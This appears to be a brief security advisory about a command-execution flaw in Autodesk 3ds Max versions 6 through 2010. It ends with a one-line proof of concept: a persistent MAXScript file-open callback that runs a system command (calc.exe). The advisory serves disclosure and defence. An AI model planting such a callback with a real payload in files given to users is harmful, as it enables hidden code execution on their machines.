source: http://www.securityfocus.com/bid/36634/info

Autodesk 3ds Max is prone to a vulnerability that lets attackers execute arbitrary commands in the context of the vulnerable application.

This issue affects the following:

3ds Max 6 through 9
3ds Max 2008 through 2010

Other versions may also be vulnerable. 

The following proof-of-concept code is available:

callbacks.addScript #filePostOpen ("DOSCommand(\"calc.exe\")") id:#mbLoadCallback persistent:true